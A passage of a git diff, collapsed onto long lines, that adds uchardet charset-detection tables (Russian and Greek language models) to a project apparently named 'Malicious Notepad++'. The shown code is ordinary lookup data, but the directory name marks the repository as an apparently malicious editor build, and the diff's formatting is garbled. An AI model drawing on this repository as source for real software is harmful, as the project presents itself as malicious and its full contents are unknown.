+0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,2,1,1,3,3,3,2,2,1,2,2,3,1,1,2,0,0,2,2,1,3,0,0,2,1,1,2,1,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,3,3,3,1,2,2,2,1,2,1,3,3,1,1,2,1,2,1,2,2,0,2,0,0,1,1,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,3,2,1,3,2,2,3,2,0,3,2,0,3,0,1,0,1,1,0,0,1,1,1,1,0,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,3,3,3,2,2,2,3,3,1,2,1,2,1,0,1,0,1,1,0,1,0,0,2,1,1,1,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +3,1,1,2,1,2,3,3,2,2,1,2,2,3,0,2,1,0,0,2,2,3,2,1,2,2,2,2,2,3,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,1,1,0,1,1,2,2,1,1,3,0,0,1,3,1,1,1,0,0,0,1,0,1,1,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,3,3,3,2,0,0,0,2,1,0,1,0,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,1,0,0,2,3,2,2,2,1,2,2,2,1,2,1,0,0,1,1,1,0,2,0,1,1,1,0,0,1,1, +1,0,0,0,0,0,1,2,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,0,0,0,0,1,0,0,0,0,3,0,1,2,1,0,0,0,0,0,0,0,1,1,0,0,1,1, +1,0,1,0,1,2,0,0,1,1,2,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0, +2,2,3,2,2,2,3,1,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,0,1,0,1,1,1,0,2,1, +1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0, +3,3,3,2,2,2,2,3,2,2,1,1,2,2,2,2,1,1,3,1,2,1,2,0,0,1,1,0,1,0,2,1, +1,1,1,1,1,2,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0, +2,0,0,1,0,3,2,2,2,2,1,2,1,2,1,2,0,0,0,2,1,2,2,1,1,2,2,0,1,1,0,2, +1,1,1,1,1,0,1,1,1,2,1,1,1,2,1,0,1,2,1,1,1,1,0,1,1,1,0,0,1,0,0,1, +1,3,2,2,2,1,1,1,2,3,0,0,0,0,2,0,2,2,1,0,0,0,0,0,0,1,0,0,0,0,1,1, +1,0,1,1,0,1,0,1,1,0,1,1,0,2,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, +2,3,2,3,2,1,2,2,2,2,1,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,2,1, +1,1,2,1,0,2,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0, +3,0,0,1,0,2,2,2,3,2,2,2,2,2,2,2,0,0,0,2,1,2,1,1,1,2,2,0,0,0,1,2, +1,1,1,1,1,0,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1, +2,3,2,3,3,2,0,1,1,1,0,0,1,0,2,0,1,1,3,1,0,0,0,0,0,0,0,1,0,0,2,1, +1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0, +2,3,3,3,3,1,2,2,2,2,0,1,1,0,2,1,1,1,2,1,0,1,1,0,0,1,0,1,0,0,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,2,0,0,1,1,2,2,1,0,0,2,0,1,1,3,0,0,1,0,0,0,0,0,1,0,1,2,1, +1,1,2,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0, +1,3,2,3,2,1,0,0,2,2,2,0,1,0,2,0,1,1,1,0,1,0,0,0,3,0,1,1,0,0,2,1, +1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,2,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0, +3,1,2,1,1,2,2,2,2,2,2,1,2,2,1,1,0,0,0,2,2,2,0,0,0,1,2,1,0,1,0,1, +2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,2,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1, +3,0,0,0,0,2,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1, +1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1, +1,3,3,2,2,0,0,0,2,2,0,0,0,1,2,0,1,1,2,0,0,0,0,0,0,0,0,1,0,0,2,1, +0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0, +2,3,2,3,2,0,0,0,0,1,1,0,0,0,2,0,2,0,2,0,0,0,0,0,1,0,0,1,0,0,1,1, +1,1,2,0,1,2,1,0,1,1,2,1,1,1,1,1,2,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0, +1,3,2,2,2,1,0,0,2,2,1,0,1,2,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1, +0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,0,2,3,1,2,2,2,2,2,2,1,1,0,0,0,1,0,1,0,2,1,1,1,0,0,0,0,1, +1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +2,0,2,0,0,1,0,3,2,1,2,1,2,2,0,1,0,0,0,2,1,0,0,2,1,1,1,1,0,2,0,2, +2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1, +1,2,2,2,2,1,0,0,1,0,0,0,0,0,2,0,1,1,1,1,0,0,0,0,1,0,1,2,0,0,2,0, +1,0,1,1,1,2,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0, +2,1,2,2,2,0,3,0,1,1,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0, +1,2,2,3,2,2,0,0,1,1,2,0,1,2,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1, +0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, +2,2,1,1,2,1,2,2,2,2,2,1,2,2,0,1,0,0,0,1,2,2,2,1,2,1,1,1,1,1,2,1, +1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1, +1,2,2,2,2,0,1,0,2,2,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0, +0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,0,0,2,2,2,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1, +0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,0,0,0,1,0,0,1,1,2,0,0,0,0,1,0,1,0,0,1,0,0,2,0,0,0,1, +0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,1,1,2,0,2,1,1,1,1,0,2,2,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1, +0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +1,0,2,1,2,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0, +0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, +1,0,0,0,0,2,0,1,2,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1, +0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1, +2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0, +0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, +}; + + +const SequenceModel Koi8rModel( + KOI8R_CharToOrderMap, + RussianLangModel, + (float)0.976601, + PR_FALSE, + "KOI8-R" +); + +const SequenceModel Win1251Model( + win1251_CharToOrderMap, + RussianLangModel, + (float)0.976601, + PR_FALSE, + "windows-1251" +); + +const SequenceModel Latin5Model( + latin5_CharToOrderMap, + RussianLangModel, + (float)0.976601, + PR_FALSE, + "ISO-8859-5" +); + +const SequenceModel MacCyrillicModel( + macCyrillic_CharToOrderMap, + RussianLangModel, + (float)0.976601, + PR_FALSE, + "x-mac-cyrillic" +); + +const SequenceModel Ibm866Model( + IBM866_CharToOrderMap, + RussianLangModel, + (float)0.976601, + PR_FALSE, + "IBM866" +); + +const SequenceModel Ibm855Model( + IBM855_CharToOrderMap, + RussianLangModel, + (float)0.976601, + PR_FALSE, + "IBM855" +); diff --git a/Malicious Notepad++/src/uchardet/LangGreekModel.cpp b/Malicious Notepad++/src/uchardet/LangGreekModel.cpp new file mode 100644 index 0000000..d90ced9 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/LangGreekModel.cpp @@ -0,0 +1,242 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsSBCharSetProber.h" +/**************************************************************** +255: Control characters that usually does not exist in any text +254: Carriage/Return +253: symbol (punctuation) that does not belong to word +252: 0 - 9 + +*****************************************************************/ + +//Character Mapping Table: +static const unsigned char Latin7_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, //40 + 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, //50 +253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, //60 + 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, //70 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //80 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //90 ++253,233, 90,253,253,253,253,253,253,253,253,253,253, 74,253,253, //a0 +253,253,253,253,247,248, 61, 36, 46, 71, 73,253, 54,253,108,123, //b0 +110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, //c0 + 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, //d0 +124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, //e0 + 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, //f0 +}; + + + +static const unsigned char win1253_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, //40 + 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, //50 +253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, //60 + 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, //70 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //80 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //90 ++253,233, 61,253,253,253,253,253,253,253,253,253,253, 74,253,253, //a0 +253,253,253,253,247,253,253, 36, 46, 71, 73,253, 54,253,108,123, //b0 +110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, //c0 + 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, //d0 +124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, //e0 + 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, //f0 +}; + +//Model Table: +//total sequences: 100% +//first 512 sequences: 98.2851% +//first 1024 sequences:1.7001% +//rest sequences: 0.0359% +//negative sequences: 0.0148% +static const PRUint8 GreekLangModel[] = +{ +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0, +3,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,0,3,3,0,3,2,3,3,0,3,2,3,3,3,0,0,3,0,3,0,3,3,2,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, +0,2,3,2,2,3,3,3,3,3,3,3,3,0,3,3,3,3,0,2,3,3,0,3,3,3,3,2,3,3,3,0, +2,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,2,1,3,3,3,3,2,3,3,2,3,3,2,0, +0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,2,3,3,0, +2,0,1,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,2,3,0,0,0,0,3,3,0,3,1,3,3,3,0,3,3,0,3,3,3,3,0,0,0,0, +2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,0,3,0,3,3,3,3,3,0,3,2,2,2,3,0,2,3,3,3,3,3,2,3,3,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,3,2,2,2,3,3,3,3,0,3,1,3,3,3,3,2,3,3,3,3,3,3,3,2,2,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,2,0,3,0,0,0,3,3,2,3,3,3,3,3,0,0,3,2,3,0,2,3,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,0,3,3,3,3,0,0,3,3,0,2,3,0,3,0,3,3,3,0,0,3,0,3,0,2,2,3,3,0,0, +0,0,1,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,2,0,3,2,3,3,3,3,0,3,3,3,3,3,0,3,3,2,3,2,3,3,2,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,2,3,2,3,3,3,3,3,3,0,2,3,2,3,2,2,2,3,2,3,3,2,3,0,2,2,2,3,0, +2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,0,0,0,3,3,3,2,3,3,0,0,3,0,3,0,0,0,3,2,0,3,0,3,0,0,2,0,2,0, +0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,0,0,0,3,3,0,3,3,3,0,0,1,2,3,0, +3,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,2,0,0,3,2,2,3,3,0,3,3,3,3,3,2,1,3,0,3,2,3,3,2,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,3,0,2,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,3,0,3,2,3,0,0,3,3,3,0, +3,0,0,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,0,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,2,0,3,2,3,0,0,3,2,3,0, +2,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,1,2,2,3,3,3,3,3,3,0,2,3,0,3,0,0,0,3,3,0,3,0,2,0,0,2,3,1,0, +2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,0,3,3,3,3,0,3,0,3,3,2,3,0,3,3,3,3,3,3,0,3,3,3,0,2,3,0,0,3,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,0,3,3,3,0,0,3,0,0,0,3,3,0,3,0,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,0,0,0,3,3,3,3,3,3,0,0,3,0,2,0,0,0,3,3,0,3,0,3,0,0,2,0,2,0, +0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,3,0,3,0,2,0,3,2,0,3,2,3,2,3,0,0,3,2,3,2,3,3,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,0,0,2,3,3,3,3,3,0,0,0,3,0,2,1,0,0,3,2,2,2,0,3,0,0,2,2,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,0,3,3,3,2,0,3,0,3,0,3,3,0,2,1,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,3,3,3,0,3,3,3,3,3,3,0,2,3,0,3,0,0,0,2,1,0,2,2,3,0,0,2,2,2,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,3,0,0,2,3,3,3,2,3,0,0,1,3,0,2,0,0,0,0,3,0,1,0,2,0,0,1,1,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,3,1,0,3,0,0,0,3,2,0,3,2,3,3,3,0,0,3,0,3,2,2,2,1,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,0,3,3,3,0,0,3,0,0,0,0,2,0,2,3,3,2,2,2,2,3,0,2,0,2,2,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,3,3,3,2,0,0,0,0,0,0,2,3,0,2,0,2,3,2,0,0,3,0,3,0,3,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,3,2,3,3,2,2,3,0,2,0,3,0,0,0,2,0,0,0,0,1,2,0,2,0,2,0, +0,2,0,2,0,2,2,0,0,1,0,2,2,2,0,2,2,2,0,2,2,2,0,0,2,0,0,1,0,0,0,0, +0,2,0,3,3,2,0,0,0,0,0,0,1,3,0,2,0,2,2,2,0,0,2,0,3,0,0,2,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,0,2,3,2,0,2,2,0,2,0,2,2,0,2,0,2,2,2,0,0,0,0,0,0,2,3,0,0,0,2, +0,1,2,0,0,0,0,2,2,0,0,0,2,1,0,2,2,0,0,0,0,0,0,1,0,2,0,0,0,0,0,0, +0,0,2,1,0,2,3,2,2,3,2,3,2,0,0,3,3,3,0,0,3,2,0,0,0,1,1,0,2,0,2,2, +0,2,0,2,0,2,2,0,0,2,0,2,2,2,0,2,2,2,2,0,0,2,0,0,0,2,0,1,0,0,0,0, +0,3,0,3,3,2,2,0,3,0,0,0,2,2,0,2,2,2,1,2,0,0,1,2,2,0,0,3,0,0,0,2, +0,1,2,0,0,0,1,2,0,0,0,0,0,0,0,2,2,0,1,0,0,2,0,0,0,2,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,3,3,2,2,0,0,0,2,0,2,3,3,0,2,0,0,0,0,0,0,2,2,2,0,2,2,0,2,0,2, +0,2,2,0,0,2,2,2,2,1,0,0,2,2,0,2,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0, +0,2,0,3,2,3,0,0,0,3,0,0,2,2,0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,0,2, +0,0,2,2,0,0,2,2,2,0,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,2,0,0,3,2,0,2,2,2,2,2,0,0,0,2,0,0,0,0,2,0,1,0,0,2,0,1,0,0,0, +0,2,2,2,0,2,2,0,1,2,0,2,2,2,0,2,2,2,2,1,2,2,0,0,2,0,0,0,0,0,0,0, +0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,2,0,2,0,2,2,0,0,0,0,1,2,1,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,3,2,3,0,0,2,0,0,0,2,2,0,2,0,0,0,1,0,0,2,0,2,0,2,2,0,0,0,0, +0,0,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0, +0,2,2,3,2,2,0,0,0,0,0,0,1,3,0,2,0,2,2,0,0,0,1,0,2,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,0,2,0,3,2,0,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +0,0,2,0,0,0,0,1,1,0,0,2,1,2,0,2,2,0,1,0,0,1,0,0,0,2,0,0,0,0,0,0, +0,3,0,2,2,2,0,0,2,0,0,0,2,0,0,0,2,3,0,2,0,0,0,0,0,0,2,2,0,0,0,2, +0,1,2,0,0,0,1,2,2,1,0,0,0,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,1,2,0,2,2,0,2,0,0,2,0,0,0,0,1,2,1,0,2,1,0,0,0,0,0,0,0,0,0,0, +0,0,2,0,0,0,3,1,2,2,0,2,0,0,0,0,2,0,0,0,2,0,0,3,0,0,0,0,2,2,2,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,1,0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,2, +0,2,2,0,0,2,2,2,2,2,0,1,2,0,0,0,2,2,0,1,0,2,0,0,2,2,0,0,0,0,0,0, +0,0,0,0,1,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,0,0,0,0,2,0,2,0,0,0,0,2, +0,1,2,0,0,0,0,2,2,1,0,1,0,1,0,2,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0, +0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,0,0,0,0,1,0,0,0,0,0,0,2, +0,2,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0, +0,2,2,2,2,0,0,0,3,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,1, +0,0,2,0,0,0,0,1,2,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0, +0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,2,2,2,0,0,0,2,0,0,0,0,0,0,0,0,2, 